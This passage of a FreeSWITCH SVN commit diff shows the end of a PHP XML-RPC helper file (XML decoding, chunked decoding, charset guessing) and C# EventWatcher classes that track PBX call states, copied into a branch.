+		$GLOBALS['_xh'] = array();
+		$GLOBALS['_xh']['ac'] = '';
+		$GLOBALS['_xh']['stack'] = array();
+		$GLOBALS['_xh']['valuestack'] = array();
+		$GLOBALS['_xh']['params'] = array();
+		$GLOBALS['_xh']['pt'] = array();
+		$GLOBALS['_xh']['isf'] = 0;
+		$GLOBALS['_xh']['isf_reason'] = '';
+		$GLOBALS['_xh']['method'] = false;
+		$GLOBALS['_xh']['rt'] = '';
+		/// @todo 'guestimate' encoding
+		$parser = xml_parser_create();
+		xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, true);
+		xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, $GLOBALS['xmlrpc_internalencoding']);
+		xml_set_element_handler($parser, 'xmlrpc_se_any', 'xmlrpc_ee');
+		xml_set_character_data_handler($parser, 'xmlrpc_cd');
+		xml_set_default_handler($parser, 'xmlrpc_dh');
+		if(!xml_parse($parser, $xml_val, 1))
+		{
+			$errstr = sprintf('XML error: %s at line %d, column %d',
+						xml_error_string(xml_get_error_code($parser)),
+						xml_get_current_line_number($parser), xml_get_current_column_number($parser));
+			error_log($errstr);
+			xml_parser_free($parser);
+			return false;
+		}
+		xml_parser_free($parser);
+		if ($GLOBALS['_xh']['isf'] > 1) // test that $GLOBALS['_xh']['value'] is an obj, too???
+		{
+			error_log($GLOBALS['_xh']['isf_reason']);
+			return false;
+		}
+		switch ($GLOBALS['_xh']['rt'])
+		{
+			case 'methodresponse':
+				$v =& $GLOBALS['_xh']['value'];
+				if ($GLOBALS['_xh']['isf'] == 1)
+				{
+					$vc = $v->structmem('faultCode');
+					$vs = $v->structmem('faultString');
+					$r =& new xmlrpcresp(0, $vc->scalarval(), $vs->scalarval());
+				}
+				else
+				{
+					$r =& new xmlrpcresp($v);
+				}
+				return $r;
+			case 'methodcall':
+				$m =& new xmlrpcmsg($GLOBALS['_xh']['method']);
+				for($i=0; $i < count($GLOBALS['_xh']['params']); $i++)
+				{
+					$m->addParam($GLOBALS['_xh']['params'][$i]);
+				}
+				return $m;
+			case 'value':
+				return $GLOBALS['_xh']['value'];
+			default:
+				return false;
+		}
+	}
+
+	/**
+	* decode a string that is encoded w/ "chunked" transfer encoding
+	* as defined in rfc2068 par. 19.4.6
+	* code shamelessly stolen from nusoap library by Dietrich Ayala
+	*
+	* @param string $buffer the string to be decoded
+	* @return string
+	*/
+	function decode_chunked($buffer)
+	{
+		// length := 0
+		$length = 0;
+		$new = '';
+
+		// read chunk-size, chunk-extension (if any) and crlf
+		// get the position of the linebreak
+		$chunkend = strpos($buffer,"\r\n") + 2;
+		$temp = substr($buffer,0,$chunkend);
+		$chunk_size = hexdec( trim($temp) );
+		$chunkstart = $chunkend;
+		while($chunk_size > 0)
+		{
+			$chunkend = strpos($buffer, "\r\n", $chunkstart + $chunk_size);
+
+			// just in case we got a broken connection
+			if($chunkend == false)
+			{
+				$chunk = substr($buffer,$chunkstart);
+				// append chunk-data to entity-body
+				$new .= $chunk;
+				$length += strlen($chunk);
+				break;
+			}
+
+			// read chunk-data and crlf
+			$chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart);
+			// append chunk-data to entity-body
+			$new .= $chunk;
+			// length := length + chunk-size
+			$length += strlen($chunk);
+			// read chunk-size and crlf
+			$chunkstart = $chunkend + 2;
+
+			$chunkend = strpos($buffer,"\r\n",$chunkstart)+2;
+			if($chunkend == false)
+			{
+				break; //just in case we got a broken connection
+			}
+			$temp = substr($buffer,$chunkstart,$chunkend-$chunkstart);
+			$chunk_size = hexdec( trim($temp) );
+			$chunkstart = $chunkend;
+		}
+		return $new;
+	}
+
+	/**
+	* xml charset encoding guessing helper function.
+	* Tries to determine the charset encoding of an XML chunk
+	* received over HTTP.
+	* NB: according to the spec (RFC 3023, if text/xml content-type is received over HTTP without a content-type,
+	* we SHOULD assume it is strictly US-ASCII. But we try to be more tolerant of unconforming (legacy?) clients/servers,
+	* which will be most probably using UTF-8 anyway...
+	*
+	* @param string $httpheaders the http Content-type header
+	* @param string $xmlchunk xml content buffer
+	* @param string $encoding_prefs comma separated list of character encodings to be used as default (when mb extension is enabled)
+	*
+	* @todo explore usage of mb_http_input(): does it detect http headers + post data? if so, use it instead of hand-detection!!!
+	*/
+	function guess_encoding($httpheader='', $xmlchunk='', $encoding_prefs=null)
+	{
+		// discussion: see http://www.yale.edu/pclt/encoding/
+		// 1 - test if encoding is specified in HTTP HEADERS
+
+		//Details:
+		// LWS:           (\13\10)?( |\t)+
+		// token:         (any char but excluded stuff)+
+		// header:        Content-type = ...; charset=value(; ...)*
+		//   where value is of type token, no LWS allowed between 'charset' and value
+		// Note: we do not check for invalid chars in VALUE:
+		//   this had better be done using pure ereg as below
+
+		/// @todo this test will pass if ANY header has charset specification, not only Content-Type. Fix it?
+		$matches = array();
+		if(preg_match('/;\s*charset=([^;]+)/i', $httpheader, $matches))
+		{
+			return strtoupper(trim($matches[1]));
+		}
+
+		// 2 - scan the first bytes of the data for a UTF-16 (or other) BOM pattern
+		//     (source: http://www.w3.org/TR/2000/REC-xml-20001006)
+		//     NOTE: actually, according to the spec, even if we find the BOM and determine
+		//     an encoding, we should check if there is an encoding specified
+		//     in the xml declaration, and verify if they match.
+		/// @todo implement check as described above?
+		/// @todo implement check for first bytes of string even without a BOM? (It sure looks harder than for cases WITH a BOM)
+		if(preg_match('/^(\x00\x00\xFE\xFF|\xFF\xFE\x00\x00|\x00\x00\xFF\xFE|\xFE\xFF\x00\x00)/', $xmlchunk))
+		{
+			return 'UCS-4';
+		}
+		elseif(preg_match('/^(\xFE\xFF|\xFF\xFE)/', $xmlchunk))
+		{
+			return 'UTF-16';
+		}
+		elseif(preg_match('/^(\xEF\xBB\xBF)/', $xmlchunk))
+		{
+			return 'UTF-8';
+		}
+
+		// 3 - test if encoding is specified in the xml declaration
+		// Details:
+		// SPACE:         (#x20 | #x9 | #xD | #xA)+ === [ \x9\xD\xA]+
+		// EQ:            SPACE?=SPACE? === [ \x9\xD\xA]*=[ \x9\xD\xA]*
+		if (preg_match('/^<\?xml\s+version\s*=\s*'. "((?:\"[a-zA-Z0-9_.:-]+\")|(?:'[a-zA-Z0-9_.:-]+'))".
+			'\s+encoding\s*=\s*' . "((?:\"[A-Za-z][A-Za-z0-9._-]*\")|(?:'[A-Za-z][A-Za-z0-9._-]*'))/",
+			$xmlchunk, $matches))
+		{
+			return strtoupper(substr($matches[2], 1, -1));
+		}
+
+		// 4 - if mbstring is available, let it do the guesswork
+		// NB: we favour finding an encoding that is compatible with what we can process
+		if(extension_loaded('mbstring'))
+		{
+			if($encoding_prefs)
+			{
+				$enc = mb_detect_encoding($xmlchunk, $encoding_prefs);
+			}
+			else
+			{
+				$enc = mb_detect_encoding($xmlchunk);
+			}
+			// NB: mb_detect likes to call it ascii, xml parser likes to call it US_ASCII...
+			// IANA also likes better US-ASCII, so go with it
+			if($enc == 'ASCII')
+			{
+				$enc = 'US-'.$enc;
+			}
+			return $enc;
+		}
+		else
+		{
+			// no encoding specified: as per HTTP1.1 assume it is iso-8859-1?
+			// Both RFC 2616 (HTTP 1.1) and 1945(http 1.0) clearly state that for text/xxx content types
+			// this should be the standard. And we should be getting text/xml as request and response.
+			// BUT we have to be backward compatible with the lib, which always used UTF-8 as default...
+			return $GLOBALS['xmlrpc_defencoding'];
+		}
+	}
+
+	/**
+	* Checks if a given charset encoding is present in a list of encodings or
+	* if it is a valid subset of any encoding in the list
+	* @param string $encoding charset to be tested
+	* @param mixed $validlist comma separated list of valid charsets (or array of charsets)
+	*/
+	function is_valid_charset($encoding, $validlist)
+	{
+		$charset_supersets = array(
+			'US-ASCII' => array ('ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4',
+				'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8',
+				'ISO-8859-9', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-12',
+				'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'UTF-8',
+				'EUC-JP', 'EUC-', 'EUC-KR', 'EUC-CN')
+		);
+		if (is_string($validlist))
+			$validlist = explode(',', $validlist);
+		if (@in_array(strtoupper($encoding), $validlist))
+			return true;
+		else
+		{
+			if (array_key_exists($encoding, $charset_supersets))
+				foreach ($validlist as $allowed)
+					if (in_array($allowed, $charset_supersets[$encoding]))
+						return true;
+				return false;
+		}
+	}
+
+?>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/verifier (from rev 14471, freeswitch/trunk/contrib/verifier)

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket)

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk)

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Call.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Call.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/Call.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Call.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/Call.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace EventWatcher
+{
+    public class Call
+    {
+        private CallState _currentState = CallState.Disconnected;
+        private CallState _previousState = CallState.Disconnected;
+        private string _id;
+        private string _destination;
+
+        public Call(string id)
+        {
+            _id = id;
+        }
+
+        public string Id
+        {
+            get { return _id; }
+            set { _id = value; }
+        }
+
+        public string Destination
+        {
+            get { return _destination; }
+        }
+
+        public CallState State
+        {
+            get { return _currentState; }
+        }
+
+        public CallState PreviousState
+        {
+            get { return _previousState; }
+        }
+
+        internal void SetCallState(CallState state)
+        {
+            _previousState = _currentState;
+            _currentState = state;
+        }
+
+        internal void SetDestination(string dest)
+        {
+            _destination = dest;
+        }
+
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallManager.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallManager.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/CallManager.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallManager.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallManager.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,251 @@
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using FreeSwitch.EventSocket;
+using FreeSwitch.EventSocket.Commands;
+
+namespace EventWatcher
+{
+    internal class CallManager
+    {
+        #region Delegates
+
+        public delegate void CallStateHandler(CallManager mgr, CallStateEvent callEvent);
+
+        #endregion
+
+        private EventManager _eventMgr;
+        private IDictionary<string, CallStateEvent> _events = new Dictionary<string, CallStateEvent>();
+
+        private IDictionary<string, ExtensionMapper> _extensions = new Dictionary<string, ExtensionMapper>();
+        private int _lastCallId = 0;
+
+        public CallManager(EventManager eventSocket)
+        {
+            _eventMgr = eventSocket;
+        }
+
+        public event ExtensionHandler ExtensionAdded;
+        public event CallHandler ExtensionChanged;
+        public event ExtensionHandler ExtensionDisconnected;
+        public event CallStateHandler OnCallState;
+
+        private ExtensionMapper GetMapper(string address)
+        {
+            if (_extensions.ContainsKey(address))
+                return _extensions[address];
+            else
+            {
+                ExtensionMapper em = new ExtensionMapper();
+                em.setter = new ExtensionSetters();
+                em.extension = new Extension(address, em.setter);
+                _extensions.Add(address, em);
+                if (ExtensionAdded != null)
+                    ExtensionAdded(em.extension);
+
+                return em;
+            }
+        }
+
+        private string ChannelDestination(string channelName)
+        {
+            //Check.Require(channelName, "Channel name must be set.");
+            string[] parts = channelName.Split('/');
+            //Check.Require(parts.Length == 3, "Channel must be sofia/<domain>/<user>");
+            return parts[2];
+        }
+
+        public void OnSwitchEvents(EventBase theEvent)
+        {
+            if (theEvent is EventPresenceIn)
+            {
+                EventPresenceIn ep = (EventPresenceIn) theEvent;
+                //Channel-State: CS_ROUTING
+                //Channel-Name: sofia/default/jonas%40192.168.1.102%3A5070
+                //Unique-ID: 2f87ba27-2f71-d64d-8c64-9966ee894eac
+                //Call-Direction: inbound
+                //Answer-State: ringing
+                //Event-Name: PRESENCE_IN
+                CallState state = CallState.Unknown;
+                string destination = string.Empty;
+                if (ep.ChannelState.ChannelInfo.State == ChannelState.Routing)
+                {
+                    if (IsInbound(ep))
+                    {
+                        state = CallState.Alerting;
+                        destination = ep.Caller.DestinationNumber;
+                    }
+                    else
+                    {
+                        state = CallState.Offering;
+                        destination = ep.Caller.UserName;
+                    }
+                }
+                else if (ep.ChannelState.ChannelInfo.State == ChannelState.Hangup)
+                {
+                    state = CallState.Disconnected;
+                    if (IsInbound(ep))
+                        destination = ep.Caller.DestinationNumber;
+                    else
+                        destination = ep.Caller.UserName;
+                }
+                if (state != CallState.Unknown)
+                    TriggerCallState(ep.ChannelState.ChannelInfo.Address, ep.ChannelState.UniqueId, state, destination);
+            }
+            else if (theEvent is EventChannelAnswer)
+            {
+                EventChannelAnswer ea = (EventChannelAnswer) theEvent;
+                string destination;
+                if (IsInbound(ea))
+                    destination = ea.Caller.DestinationNumber;
+                else
+                    destination = ea.Caller.UserName;
+
+                TriggerCallState(ea.ChannelInfo.Address, ea.UniqueId, CallState.Connected, destination);
+            }
+
+            else if (theEvent is EventChannelDestroy)
+            {
+                EventChannelDestroy e = (EventChannelDestroy) theEvent;
+                Debug.WriteLine("triggering CallState.Disconnected");
+                TriggerCallState(e.ChannelInfo.Address, e.UniqueId, CallState.Disconnected,
+                                 e.Originator.DestinationNumber);
+            }
+        }
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name="evt"></param>
+        /// <returns>true if it's inbound to pbx (not to user)</returns>
+        private bool IsInbound(EventBase evt)
+        {
+            return evt.Parameters["Call-Direction"] == "inbound";
+        }
+
+
+        public void OnSwitchEvents2(EventBase theEvent)
+        {
+            ChannelEvent evt = theEvent as ChannelEvent;
+            EventChannelState channelState = theEvent as EventChannelState;
+            if (channelState != null)
+                Debug.WriteLine("ChannelState: " + channelState.ChannelInfo.State + " " + channelState.Caller.UserName +
+                                " " + channelState.Caller.DestinationNumber);
+            else if (evt != null && evt.ChannelInfo != null)
+                Debug.WriteLine("ChannelEvent: " + evt.Name + " " + evt.ChannelInfo.Address);
+            if (evt != null)
+            {
+                // CHANNEL_ANSWER, No originator = new outgoing call. 
+                // ChannelName = the one who makes the call
+                if (evt is EventChannelAnswer)
+                {
+                    EventChannelAnswer e = (EventChannelAnswer) evt;
+                    if (e.Originator.CallerIdName != string.Empty)
+                    {
+                        Debug.WriteLine("Skipping emoty ChannelAnswer");
+                        return; // We do only want empty ones.
+                    }
+
+                    if (!IsExternalNumber(evt.ChannelInfo.Address))
+                    {
+                        Debug.WriteLine("triggering CallState.Alerting");
+                        TriggerCallState(evt.ChannelInfo.Address, e.UniqueId, CallState.Alerting,
+                                         e.Caller.DestinationNumber);
+                    }
+                }
+
+                    // CHANNEL_OUTGOING, Event for Alerting/Offering
+                    // Originator = the one calling
+                    // ChannelName = the one getting called.
+                else if (evt is EventChannelOutgoing)
+                {
+                    EventChannelOutgoing e = (EventChannelOutgoing) evt;
+                    if (!IsExternalNumber(evt.ChannelInfo.Address))
+                    {
+                        Debug.WriteLine("triggering CallState.Offering");
+                        TriggerCallState(evt.ChannelInfo.Address, e.UniqueId, CallState.Offering, e.Originator.UserName);
+                    }
+                    if (!IsExternalNumber(e.Originator.UserName))
+                    {
+                        Debug.WriteLine("triggering CallState.Alerting");
+                        TriggerCallState(e.Originator.UserName, e.Originator.UniqueId, CallState.Alerting,
+                                         e.ChannelInfo.Address);
+                    }
+                }
+
+                else if (evt is EventChannelBridge)
+                {
+                    EventChannelBridge e = (EventChannelBridge) evt;
+                    if (!IsExternalNumber(evt.ChannelInfo.Address))
+                    {
+                        Debug.WriteLine("triggering CallState.Connected");
+                        TriggerCallState(evt.ChannelInfo.Address, e.UniqueId, CallState.Connected,
+                                         e.Caller.DestinationNumber);
+                    }
+
+                    // Trigger destination
+                    if (!IsExternalNumber(e.Caller.DestinationNumber) && e.Originator.ChannelName != string.Empty)
+                    {
+                        Debug.WriteLine("triggering CallState.Connected");
+                        TriggerCallState(ChannelDestination(e.Originator.ChannelName), e.UniqueId, CallState.Connected,
+                                         e.ChannelInfo.Address);
+                    }
+                }
+
+                else if (evt is EventChannelDestroy)
+                {
+                    EventChannelDestroy e = (EventChannelDestroy) evt;
+                    Debug.WriteLine("triggering CallState.Disconnected");
+                    TriggerCallState(evt.ChannelInfo.Address, e.UniqueId, CallState.Disconnected,
+                                     e.Originator.DestinationNumber);
+                }
+            }
+        }
+
+        private bool IsExternalNumber(string number)
+        {
+            if (number == null || number == string.Empty)
+                return false;
+            return number[0] == '+';
+        }
+
+        private void TriggerCallState(string extensionOrUserName, string id, CallState state, string destination)
+        {
+            ExtensionMapper em = GetMapper(extensionOrUserName);
+            Debug.WriteLine(String.Format("{0} -> {1}, {2} id: {3}", extensionOrUserName, destination, state, id));
+            Call call = em.setter.callState(id, state, destination);
+            if (ExtensionChanged != null)
+                ExtensionChanged(em.extension, call);
+        }
+
+        private void OnBridgeCallId(CmdBase command, CommandReply reply)
+        {
+            GetVariableReply gvr = (GetVariableReply) reply;
+            if (!gvr.Success)
+                Debug.WriteLine("OnBridgeCallId " + reply.ErrorMessage);
+
+            string otherChannelId = (string) command.ContextData;
+            SetVariable sv = new SetVariable(otherChannelId, "gate_callid", gvr.Value);
+            sv.ReplyReceived += OnCallIdReply;
+            _eventMgr.Send(sv);
+            command.ReplyReceived -= OnBridgeCallId;
+        }
+
+        private void OnCallIdReply(CmdBase command, CommandReply reply)
+        {
+            if (!reply.Success)
+                Debug.WriteLine("OnCallIdReply " + reply.ErrorMessage);
+            command.ReplyReceived -= OnCallIdReply;
+        }
+
+        #region Nested type: ExtensionMapper
+
+        private class ExtensionMapper
+        {
+            public Extension extension;
+            public ExtensionSetters setter;
+        }
+
+        #endregion
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallStateEvent.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallStateEvent.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/CallStateEvent.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallStateEvent.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/CallStateEvent.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,158 @@
+using System;
+
+namespace EventWatcher
+{
+    public enum CallState
+    {
+        Unknown,
+
+        /// <summary>
+        /// The call has been created, but Connect has not been called yet. 
+        /// A call can never transition into the idle state. 
+        /// This is the initial state for both incoming and outgoing calls.
+        /// </summary>
+        Idle,
+        /// <summary>
+        /// Connect has been called, and the service provider is working on 
+        /// making a connection. This state is valid only on outgoing calls. 
+        /// This message is optional, because a service provider may have a 
+        /// call transition directly to the connected state.
+        /// </summary>
+        InProgress,
+        /// <summary>
+        /// Call has been connected to the remote end and communication can take place.
+        /// </summary>
+        Connected,
+        /// <summary>
+        /// Call has been disconnected. There are several causes for disconnection. 
+        /// See the table of valid call state transitions below.
+        /// </summary>
+        Disconnected,
+        /// <summary>
+        /// A new call has appeared, and is being offered to an application. 
+        /// If the application has owner privileges on the call, it can either 
+        /// call Answer or Disconnect while the call is in the offering state. 
+        /// </summary>
+        Offering,
+        Alerting,
+        /// <summary>
+        /// The call is in the hold state.
+        /// </summary>
+        Held,
+    }
+
+    public enum HangupCause
+    {
+        Success,
+        NormalClearing,
+        NoRouteTransitNet,
+        NoRouteDestination,
+        Busy,
+        Noanswer,
+        Rejected,
+        NumberChanged,
+        Congestion,
+    }
+    /// <summary>
+    /// Subclass for all call events.
+    /// The events are sent as commands through the
+    /// Command Dispatcher.
+    /// </summary>
+    [Serializable]
+    public class CallStateEvent
+    {
+        private string _callId;
+        private string _pbxId;
+        private string _destination;
+        private string _from;
+        private CallState _state = CallState.Idle;
+        private bool _isIncoming = true;
+        private bool _isInternal;
+        private HangupCause _hangupCause;
+
+        public CallStateEvent()
+        {
+        }
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name="callId">Call identification string</param>
+        /// <param name="pbxId">Id used internally in the pbx to identify the call.</param>
+        /// <param name="from">Sip-Address to the one that made the call</param>
+        /// <param name="destination">Sip-address to where the call was made.</param>
+        public CallStateEvent(string callId, string pbxId, string from, string destination)
+        {
+            _callId = callId;
+            _from = from;
+            PbxId = pbxId;
+            _destination = destination;
+        }
+
+        /// <summary>
+        /// Call identification string.
+        /// </summary>
+        public string CallId
+        {
+            get { return _callId; }
+            set { _callId = value; }
+        }
+
+        /// <summary>
+        /// User that made the call.
+        /// </summary>
+        public string From
+        {
+            get { return _from; }
+            set { _from = value; }
+        }
+
+        /// <summary>
+        /// To whom the call was made.
+        /// </summary>
+        public string Destination
+        {
+            get { return _destination; }
+            set { _destination = value; }
+        }
+
+        /// <summary>
+        /// Current CallState.
+        /// </summary>
+        public CallState State
+        {
+            get { return _state; }
+            set { _state = value; }
+        }
+
+        /// <summary>
+        /// This is an incoming call.
+        /// </summary>
+        public bool Incoming
+        {
+            get { return _isIncoming; }
+            set { _isIncoming = value; }
+        }
+
+        /// <summary>
+        /// This is an internal call in the pbx.
+        /// </summary>
+        public bool Internal
+        {
+            get { return _isInternal; }
+            set { _isInternal = value; }
+        }
+
+        public HangupCause HangupCause
+        {
+            get { return _hangupCause; }
+            set { _hangupCause = value; }
+        }
+
+        internal string PbxId
+        {
+            get { return _pbxId; }
+            set { _pbxId = value; }
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.Designer.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.Designer.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.Designer.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.Designer.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.Designer.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,129 @@
+namespace EventWatcher
+{
+    partial class ChannelWatcher
+    {
+        /// <summary>
+        /// Required designer variable.
+        /// </summary>
+        private System.ComponentModel.IContainer components = null;
+
+        /// <summary>
+        /// Clean up any resources being used.
+        /// </summary>
+        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
+        protected override void Dispose(bool disposing)
+        {
+            if (disposing && (components != null))
+            {
+                components.Dispose();
+            }
+            base.Dispose(disposing);
+        }
+
+        #region Windows Form Designer generated code
+
+        /// <summary>
+        /// Required method for Designer support - do not modify
+        /// the contents of this method with the code editor.
+        /// </summary>
+        private void InitializeComponent()
+        {
+            this.toolStrip1 = new System.Windows.Forms.ToolStrip();
+            this.splitContainer1 = new System.Windows.Forms.SplitContainer();
+            this.tv = new System.Windows.Forms.TreeView();
+            this.toolStripLabel1 = new System.Windows.Forms.ToolStripLabel();
+            this.tb = new System.Windows.Forms.RichTextBox();
+            this.toolStrip1.SuspendLayout();
+            this.splitContainer1.Panel1.SuspendLayout();
+            this.splitContainer1.Panel2.SuspendLayout();
+            this.splitContainer1.SuspendLayout();
+            this.SuspendLayout();
+            // 
+            // toolStrip1
+            // 
+            this.toolStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+            this.toolStripLabel1});
+            this.toolStrip1.Location = new System.Drawing.Point(0, 0);
+            this.toolStrip1.Name = "toolStrip1";
+            this.toolStrip1.Size = new System.Drawing.Size(961, 25);
+            this.toolStrip1.TabIndex = 3;
+            this.toolStrip1.Text = "toolStrip1";
+            // 
+            // splitContainer1
+            // 
+            this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill;
+            this.splitContainer1.Location = new System.Drawing.Point(0, 25);
+            this.splitContainer1.Name = "splitContainer1";
+            this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal;
+            // 
+            // splitContainer1.Panel1
+            // 
+            this.splitContainer1.Panel1.Controls.Add(this.tb);
+            // 
+            // splitContainer1.Panel2
+            // 
+            this.splitContainer1.Panel2.Controls.Add(this.tv);
+            this.splitContainer1.Size = new System.Drawing.Size(961, 622);
+            this.splitContainer1.SplitterDistance = 307;
+            this.splitContainer1.TabIndex = 4;
+            // 
+            // tv
+            // 
+            this.tv.Dock = System.Windows.Forms.DockStyle.Fill;
+            this.tv.FullRowSelect = true;
+            this.tv.Location = new System.Drawing.Point(0, 0);
+            this.tv.Name = "tv";
+            this.tv.ShowLines = false;
+            this.tv.ShowPlusMinus = false;
+            this.tv.ShowRootLines = false;
+            this.tv.Size = new System.Drawing.Size(961, 311);
+            this.tv.TabIndex = 2;
+            // 
+            // toolStripLabel1
+            // 
+            this.toolStripLabel1.Name = "toolStripLabel1";
+            this.toolStripLabel1.Size = new System.Drawing.Size(37, 22);
+            this.toolStripLabel1.Text = "Rensa";
+            this.toolStripLabel1.Click += new System.EventHandler(this.toolStripLabel1_Click);
+            // 
+            // tb
+            // 
+            this.tb.Dock = System.Windows.Forms.DockStyle.Fill;
+            this.tb.Location = new System.Drawing.Point(0, 0);
+            this.tb.Name = "tb";
+            this.tb.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.ForcedBoth;
+            this.tb.Size = new System.Drawing.Size(961, 307);
+            this.tb.TabIndex = 0;
+            this.tb.Text = "";
+            this.tb.WordWrap = false;
+            // 
+            // ChannelWatcher
+            // 
+            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+            this.ClientSize = new System.Drawing.Size(961, 647);
+            this.Controls.Add(this.splitContainer1);
+            this.Controls.Add(this.toolStrip1);
+            this.Name = "ChannelWatcher";
+            this.Text = "ChannelWatcher";
+            this.Load += new System.EventHandler(this.ChannelWatcher_Load);
+            this.toolStrip1.ResumeLayout(false);
+            this.toolStrip1.PerformLayout();
+            this.splitContainer1.Panel1.ResumeLayout(false);
+            this.splitContainer1.Panel2.ResumeLayout(false);
+            this.splitContainer1.ResumeLayout(false);
+            this.ResumeLayout(false);
+            this.PerformLayout();
+
+        }
+
+        #endregion
+
+        private System.Windows.Forms.ToolStrip toolStrip1;
+        private System.Windows.Forms.ToolStripLabel toolStripLabel1;
+        private System.Windows.Forms.SplitContainer splitContainer1;
+        private System.Windows.Forms.TreeView tv;
+        private System.Windows.Forms.RichTextBox tb;
+
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/EventWatcher/ChannelWatcher.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,160 @@
+using System;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Windows.Forms;
+using FreeSwitch.EventSocket;
+
+namespace EventWatcher
+{
+    public partial class ChannelWatcher : Form
+    {
+        private EventManager _mgr = new EventManager(null);
+        private Color _currentColor = 0;
+        StringBuilder sb = new StringBuilder();
+
+        public ChannelWatcher()
+        {
+            InitializeComponent();
+        }
+
+        private void ChannelWatcher_Load(object sender, EventArgs e)
+        {
+            _mgr.Start("localhost");
+            _mgr.Subscribe(Event.All);
+            _mgr.EventReceived += OnPreSwitchEvent;
+            ClearTb();
+        //    AddText("bajs");
+        }
+
+        private void OnPreSwitchEvent(EventBase theEvent)
+        {
+            if (tv.InvokeRequired)
+                BeginInvoke((MethodInvoker)delegate { OnSwitchEvent(theEvent); });
+            else
+                OnSwitchEvent(theEvent);
+        }
+
+        private void ClearTb()
+        {
+            /*
+{\rtf1\ansi\ansicpg1252\deff0\deflang1053
+    {\colortbl ;\red128\green0\blue0;\red0\green128\blue0;\red0\green0\blue255;\red0\green0\blue255;}
+    {\fonttbl{\f0\fnil\fcharset0 Microsoft Sans Serif;}}
+\viewkind4\uc1\pard\f0\fs17 Hello\cf1\b <\cf3\b0 (Wor"ld")\cf1\b >\cf0\b0 \par
+}
+             */
+            sb.Length = 0;
+            sb.Append(
+                @"{\rtf1\ansi\ansicpg1252\deff0\deflang1053"
+                + @"{\colortbl ;\red0\green0\blue0;\red128\green0\blue0;\red0\green128\blue0;\red0\green0\blue255;\red0\green0\blue255;}"
+                + @"{\fonttbl{\f0\fnil\fcharset0 Microsoft Sans Serif;}}"
+                + @"\viewkind4\uc1\pard\f0\fs20\par \par}");
+            tb.Rtf = sb.ToString();
+        }
+
+        public enum Color
+        {
+            None,
